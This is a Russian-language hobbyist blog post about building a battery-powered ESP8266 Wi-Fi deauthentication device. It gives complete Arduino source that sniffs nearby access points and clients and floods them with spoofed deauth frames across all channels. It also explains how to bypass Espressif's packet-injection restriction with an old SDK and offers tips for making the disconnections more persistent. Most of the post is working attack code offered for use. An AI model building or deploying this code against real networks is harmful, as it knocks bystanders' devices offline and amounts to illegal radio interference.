Выходные на Тёмной Стороне

Давным давно я заказал несколько модулей ESP8266 (модификация ESP-201) для создания системы “умный дом”, которую так до сих пор и не закончил. Незадолго до этого я работал над проектом в области безопасности Wi-Fi сетей, и довольно близко познакомился с имеющимся в широко известном дистрибутиве Kali арсеналом утилит для работы с Wi-Fi. Так что, когда модули наконец попали ко мне в руки, я сразу подумал, а нельзя ли их использовать для тестирования атак на Wi-Fi сети. Однако, просмотрев функции, присутствующие в распространяемом на тот момент SDK, я не нашёл ничего подходящего и забросил идею.
Некоторое время назад на Hackaday опубликовали интересную статью, где демонстрировался способ отправки произвольного пакета в сеть. Таким образом, появилась возможность на выходных покопаться и реализовать старый план.

Железо

Внутреннее устройство
Устройство состоит из собственно ESP модуля, миниатюрного конвертера постоянного напряжения, двух планок с отверстиями для пинов, батареи на 9 Вольт и соответствующего разъёма, четырёх резисторов на 4.7 кОм.
Прошивка модуля
Разъём для батареи на 9 Вольт можно достать из аналогичной старой батарейки. Соединения между разъёмом и платой конвертера и между конвертером и планками я сделал из толстой железной проволоки. Они удерживают всю сборку вместе. Сопротивления присоединены так, как требуется для запуска и работы модуля ESP. Выводы CHIP, RST подтянуты к плюсу, вывод 15 к минусу. Вывод 0 подсоединён к трёхпиновому разъёму, закреплённому на боку сборки. Если надеть джампер на этот разъём, вывод 0 подтянется к земле. В такой конфигурации модуль ESP можно прошить, используя последовательный порт и кабель, совместимый с TTL уровнями.
Модуль работает
Если джампер не стоит, после подачи питания модуль запускается и начинает выполнять программу из памяти. Программа выводит диагностические сообщения на последовательный порт, независимо от того, подключен кабель или нет. В качестве бонуса при выводе на последовательный порт мигает маленький светодиод на поверхности ESP модуля. Таким образом можно судить о том, что программа пока работает 🙂

Софт

Я использовал Arduino IDE (1.6.7). Эта среда разработки может работать со всеми платами которые у меня сейчас есть, также она работает как на Linux, так и под Windows. Можно начать проект на Windows и, если нужно, перейти на Linux или наоборот. Конечно, в ней отсутствует много того, к чему я привык в более богатых системах типа Visual Studio, но для маленьких проектов это не так существенно.
Я начал с кода из оригинальной статьи. Сначала адаптировал проект к Arduino, а потом начал вносить изменения и поменял практически всё. Сильно помог исходный код другой известной программы – MDK3. В результате в коде осталась пара мест, которые я не до конца понимаю и подобрал работающий вариант путём тестирования. Наверно, можно покопаться в стандартах и разобраться, но на это не хватило времени.
Ниже приведён снимок экрана системы которую я использовал для мониторинга работы прототипа. Видно как примерно через 10 секунд после подсоединения батареи пропадает пинг на телефон подключенный по Wi-Fi. В дампе Wireshark видны пакеты Deauthentication.
Мониторинг
Программа устроена довольно просто. Она принимает и распознаёт пакеты Beacon и пакеты с данными на заданном радио канале. На основании этих данных она обновляет списки обнаруженных точек доступа и клиентов. После того как в течении примерно 200 миллисекунд не обнаружено новых станций, система посылает команды на отключение для всех обнаруженных клиентов от имени соответствующих точек доступа. После этого система переходит на следующий канал.
Различные устройства по разному реагируют на такую атаку. Один из моих телефонов отключился от Wi-Fi на совсем, а второй временно отключался, но успевал переподключиться пока система проверяла остальные каналы. Для более стабильного результата можно предпринять следующее:

  • После какого-то начального периода перестать искать новые станции и просто быстро отсоединять уже известные по кругу.
  • Поиграть с константами, возможно у меня не оптимальная комбинация.
  • Купить 14 ESP модулей по одному на каждый канал 😉

Есть одна тонкость при работе с SDK от Espressif. В последних версиях они ограничили функцию передачи самодельных пакетов. НО, в более старой версии SDK 1.3.0 есть версия этой функция до введения ограничений. Нужно только дополнить файл заголовков “user_interface.h”:
typedef void (*freedom_outside_cb_t)(uint8 status);
int wifi_register_send_pkt_freedom_cb(freedom_outside_cb_t cb);
void wifi_unregister_send_pkt_freedom_cb(void);
int wifi_send_pkt_freedom(uint8 *buf, int len, bool sys_seq);

Также полезно знать, что функция перехвата пакетов в режиме мониторинга даёт доступ только к первым 112 байтам пакета. Таким образом, не получится, например, перехватывать handshake, или запоминать пакеты для последующей расшифровки. Возможно эти ограничения смогут снять в будущем.

Исходный код под катом. Проект на GitHub.


// Expose Espressif SDK functionality - wrapped in ifdef so that it still
// compiles on other platforms
#ifdef ESP8266
extern "C" {
#include "user_interface.h"
}
#endif

#include

#define ETH_MAC_LEN 6
#define MAX_APS_TRACKED 100
#define MAX_CLIENTS_TRACKED 200

// Channel to perform deauth
uint8_t channel = 0;

// Packet buffer
uint8_t packet_buffer[64];

// DeAuth template
uint8_t template_da[26] = {0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x6a, 0x01, 0x00};

uint8_t broadcast1[3] = { 0x01, 0x00, 0x5e };
uint8_t broadcast2[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };
uint8_t broadcast3[3] = { 0x33, 0x33, 0x00 };

struct beaconinfo
{
uint8_t bssid[ETH_MAC_LEN];
uint8_t ssid[33];
int ssid_len;
int channel;
int err;
signed rssi;
uint8_t capa[2];
};

struct clientinfo
{
uint8_t bssid[ETH_MAC_LEN];
uint8_t station[ETH_MAC_LEN];
uint8_t ap[ETH_MAC_LEN];
int channel;
int err;
signed rssi;
uint16_t seq_n;
};

beaconinfo aps_known[MAX_APS_TRACKED]; // Array to save MACs of known APs
int aps_known_count = 0; // Number of known APs
int nothing_new = 0;
clientinfo clients_known[MAX_CLIENTS_TRACKED]; // Array to save MACs of known CLIENTs
int clients_known_count = 0; // Number of known CLIENTs

struct beaconinfo parse_beacon(uint8_t *frame, uint16_t framelen, signed rssi)
{
struct beaconinfo bi;
bi.ssid_len = 0;
bi.channel = 0;
bi.err = 0;
bi.rssi = rssi;
int pos = 36;

if (frame[pos] == 0x00) {
while (pos < framelen) {
switch (frame[pos]) {
case 0x00: //SSID
bi.ssid_len = (int) frame[pos + 1];
if (bi.ssid_len == 0) {
memset(bi.ssid, ‘\x00’, 33);
break;
}
if (bi.ssid_len < 0) { bi.err = -1; break; } if (bi.ssid_len > 32) {
bi.err = -2;
break;
}
memset(bi.ssid, ‘\x00’, 33);
memcpy(bi.ssid, frame + pos + 2, bi.ssid_len);
bi.err = 0; // before was error??
break;
case 0x03: //Channel
bi.channel = (int) frame[pos + 2];
pos = -1;
break;
default:
break;
}
if (pos < 0) break; pos += (int) frame[pos + 1] + 2; } } else { bi.err = -3; } bi.capa[0] = frame[34]; bi.capa[1] = frame[35]; memcpy(bi.bssid, frame + 10, ETH_MAC_LEN); return bi; } struct clientinfo parse_data(uint8_t *frame, uint16_t framelen, signed rssi, unsigned channel) { struct clientinfo ci; ci.channel = channel; ci.err = 0; ci.rssi = rssi; int pos = 36; uint8_t *bssid; uint8_t *station; uint8_t *ap; uint8_t ds; ds = frame[1] & 3; //Set first 6 bits to 0 switch (ds) { // p[1] – xxxx xx00 => NoDS p[4]-DST p[10]-SRC p[16]-BSS
case 0:
bssid = frame + 16;
station = frame + 10;
ap = frame + 4;
break;
// p[1] – xxxx xx01 => ToDS p[4]-BSS p[10]-SRC p[16]-DST
case 1:
bssid = frame + 4;
station = frame + 10;
ap = frame + 16;
break;
// p[1] – xxxx xx10 => FromDS p[4]-DST p[10]-BSS p[16]-SRC
case 2:
bssid = frame + 10;
// hack – don’t know why it works like this…
if (memcmp(frame + 4, broadcast1, 3) || memcmp(frame + 4, broadcast2, 3) || memcmp(frame + 4, broadcast3, 3)) {
station = frame + 16;
ap = frame + 4;
} else {
station = frame + 4;
ap = frame + 16;
}
break;
// p[1] – xxxx xx11 => WDS p[4]-RCV p[10]-TRM p[16]-DST p[26]-SRC
case 3:
bssid = frame + 10;
station = frame + 4;
ap = frame + 4;
break;
}

memcpy(ci.station, station, ETH_MAC_LEN);
memcpy(ci.bssid, bssid, ETH_MAC_LEN);
memcpy(ci.ap, ap, ETH_MAC_LEN);

ci.seq_n = frame[23] * 0xFF + (frame[22] & 0xF0);

return ci;
}

int register_beacon(beaconinfo beacon)
{
int known = 0; // Clear known flag
for (int u = 0; u < aps_known_count; u++) { if (! memcmp(aps_known[u].bssid, beacon.bssid, ETH_MAC_LEN)) { known = 1; break; } // AP known => Set known flag
}
if (! known) // AP is NEW, copy MAC to array and return it
{
memcpy(&aps_known[aps_known_count], &beacon, sizeof(beacon));
aps_known_count++;

if ((unsigned int) aps_known_count >=
sizeof (aps_known) / sizeof (aps_known[0]) ) {
Serial.printf(“exceeded max aps_known\n”);
aps_known_count = 0;
}
}
return known;
}

int register_client(clientinfo ci)
{
int known = 0; // Clear known flag
for (int u = 0; u < clients_known_count; u++) { if (! memcmp(clients_known[u].station, ci.station, ETH_MAC_LEN)) { known = 1; break; } } if (! known) { memcpy(&clients_known[clients_known_count], &ci, sizeof(ci)); clients_known_count++; if ((unsigned int) clients_known_count >=
sizeof (clients_known) / sizeof (clients_known[0]) ) {
Serial.printf(“exceeded max clients_known\n”);
clients_known_count = 0;
}
}
return known;
}

void print_beacon(beaconinfo beacon)
{
if (beacon.err != 0) {
//Serial.printf(“BEACON ERR: (%d) “, beacon.err);
} else {
Serial.printf(“BEACON: [%32s] “, beacon.ssid);
for (int i = 0; i < 6; i++) Serial.printf(“%02x”, beacon.bssid[i]);
Serial.printf(” %2d”, beacon.channel);
Serial.printf(” %4d\r\n”, beacon.rssi);
}
}

void print_client(clientinfo ci)
{
int u = 0;
int known = 0; // Clear known flag
if (ci.err != 0) {
} else {
Serial.printf(“CLIENT: “);
for (int i = 0; i < 6; i++) Serial.printf(“%02x”, ci.station[i]);
Serial.printf(” works with: “);
for (u = 0; u < aps_known_count; u++) { if (! memcmp(aps_known[u].bssid, ci.bssid, ETH_MAC_LEN)) { Serial.printf(“[%32s]”, aps_known[u].ssid); known = 1; break; } // AP known => Set known flag
}
if (! known) {
Serial.printf(“%22s”, ” “);
for (int i = 0; i < 6; i++) Serial.printf(“%02x”, ci.bssid[i]);
}

Serial.printf(“%5s”, ” “);
for (int i = 0; i < 6; i++) Serial.printf(“%02x”, ci.ap[i]);
Serial.printf(“%5s”, ” “);

if (! known) {
Serial.printf(” %3d”, ci.channel);
} else {
Serial.printf(” %3d”, aps_known[u].channel);
}
Serial.printf(” %4d\r\n”, ci.rssi);
}
}

/* ==============================================
Promiscous callback structures, see ESP manual
============================================== */

struct RxControl {
signed rssi: 8;
unsigned rate: 4;
unsigned is_group: 1;
unsigned: 1;
unsigned sig_mode: 2;
unsigned legacy_length: 12;
unsigned damatch0: 1;
unsigned damatch1: 1;
unsigned bssidmatch0: 1;
unsigned bssidmatch1: 1;
unsigned MCS: 7;
unsigned CWB: 1;
unsigned HT_length: 16;
unsigned Smoothing: 1;
unsigned Not_Sounding: 1;
unsigned: 1;
unsigned Aggregation: 1;
unsigned STBC: 2;
unsigned FEC_CODING: 1;
unsigned SGI: 1;
unsigned rxend_state: 8;
unsigned ampdu_cnt: 8;
unsigned channel: 4;
unsigned: 12;
};

struct LenSeq {
uint16_t length;
uint16_t seq;
uint8_t address3[6];
};

struct sniffer_buf {
struct RxControl rx_ctrl;
uint8_t buf[36];
uint16_t cnt;
struct LenSeq lenseq[1];
};

struct sniffer_buf2 {
struct RxControl rx_ctrl;
uint8_t buf[112];
uint16_t cnt;
uint16_t len;
};

/* Creates a packet.

buf – reference to the data array to write packet to;
client – MAC address of the client;
ap – MAC address of the acces point;
seq – sequence number of 802.11 packet;

Returns: size of the packet
*/
uint16_t create_packet(uint8_t *buf, uint8_t *c, uint8_t *ap, uint16_t seq)
{
int i = 0;

memcpy(buf, template_da, 26);
// Destination
memcpy(buf + 4, c, ETH_MAC_LEN);
// Sender
memcpy(buf + 10, ap, ETH_MAC_LEN);
// BSS
memcpy(buf + 16, ap, ETH_MAC_LEN);
// Seq_n
buf[22] = seq % 0xFF;
buf[23] = seq / 0xFF;

return 26;
}

/* Sends deauth packets. */
void deauth(uint8_t *c, uint8_t *ap, uint16_t seq)
{
uint8_t i = 0;
uint16_t sz = 0;
for (i = 0; i < 0x10; i++) { sz = create_packet(packet_buffer, c, ap, seq + 0x10 * i); wifi_send_pkt_freedom(packet_buffer, sz, 0); delay(1); } } void promisc_cb(uint8_t *buf, uint16_t len) { int i = 0; uint16_t seq_n_new = 0; if (len == 12) { struct RxControl *sniffer = (struct RxControl*) buf; } else if (len == 128) { struct sniffer_buf2 *sniffer = (struct sniffer_buf2*) buf; struct beaconinfo beacon = parse_beacon(sniffer->buf, 112, sniffer->rx_ctrl.rssi);
if (register_beacon(beacon) == 0) {
print_beacon(beacon);
nothing_new = 0;
}
} else {
struct sniffer_buf *sniffer = (struct sniffer_buf*) buf;
//Is data or QOS?
if ((sniffer->buf[0] == 0x08) || (sniffer->buf[0] == 0x88)) {
struct clientinfo ci = parse_data(sniffer->buf, 36, sniffer->rx_ctrl.rssi, sniffer->rx_ctrl.channel);
if (memcmp(ci.bssid, ci.station, ETH_MAC_LEN)) {
if (register_client(ci) == 0) {
print_client(ci);
nothing_new = 0;
}
}
}
}
}

void setup() {
Serial.begin(115200);
Serial.printf(“\n\nSDK version:%s\n”, system_get_sdk_version());

// Promiscuous works only with station mode
wifi_set_opmode(STATION_MODE);

// Set up promiscuous callback
wifi_set_channel(1);
wifi_promiscuous_enable(0);
wifi_set_promiscuous_rx_cb(promisc_cb);
wifi_promiscuous_enable(1);
}

void loop() {
while (true) {

channel = 1;
wifi_set_channel(channel);
while (true) {
nothing_new++;
if (nothing_new > 200) {
nothing_new = 0;

wifi_promiscuous_enable(0);
wifi_set_promiscuous_rx_cb(0);
wifi_promiscuous_enable(1);
for (int ua = 0; ua < aps_known_count; ua++) {
if (aps_known[ua].channel == channel) {
for (int uc = 0; uc < clients_known_count; uc++) { if (! memcmp(aps_known[ua].bssid, clients_known[uc].bssid, ETH_MAC_LEN)) { Serial.print(“DeAuth to —->”);
print_client(clients_known[uc]);
deauth(clients_known[uc].station, clients_known[uc].bssid, clients_known[uc].seq_n);
break;
}
}
deauth(broadcast2, aps_known[ua].bssid, 128);
}
}
wifi_promiscuous_enable(0);
wifi_set_promiscuous_rx_cb(promisc_cb);
wifi_promiscuous_enable(1);

channel++;
if (channel == 15) break;
wifi_set_channel(channel);
}
delay(1);

if ((Serial.available() > 0) && (Serial.read() == ‘\n’)) {
Serial.println(“\n————————————————————————-\n”);
for (int u = 0; u < aps_known_count; u++) print_beacon(aps_known[u]);
for (int u = 0; u < clients_known_count; u++) print_client(clients_known[u]);
Serial.println(“\n————————————————————————-\n”);
}
}
}
}

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.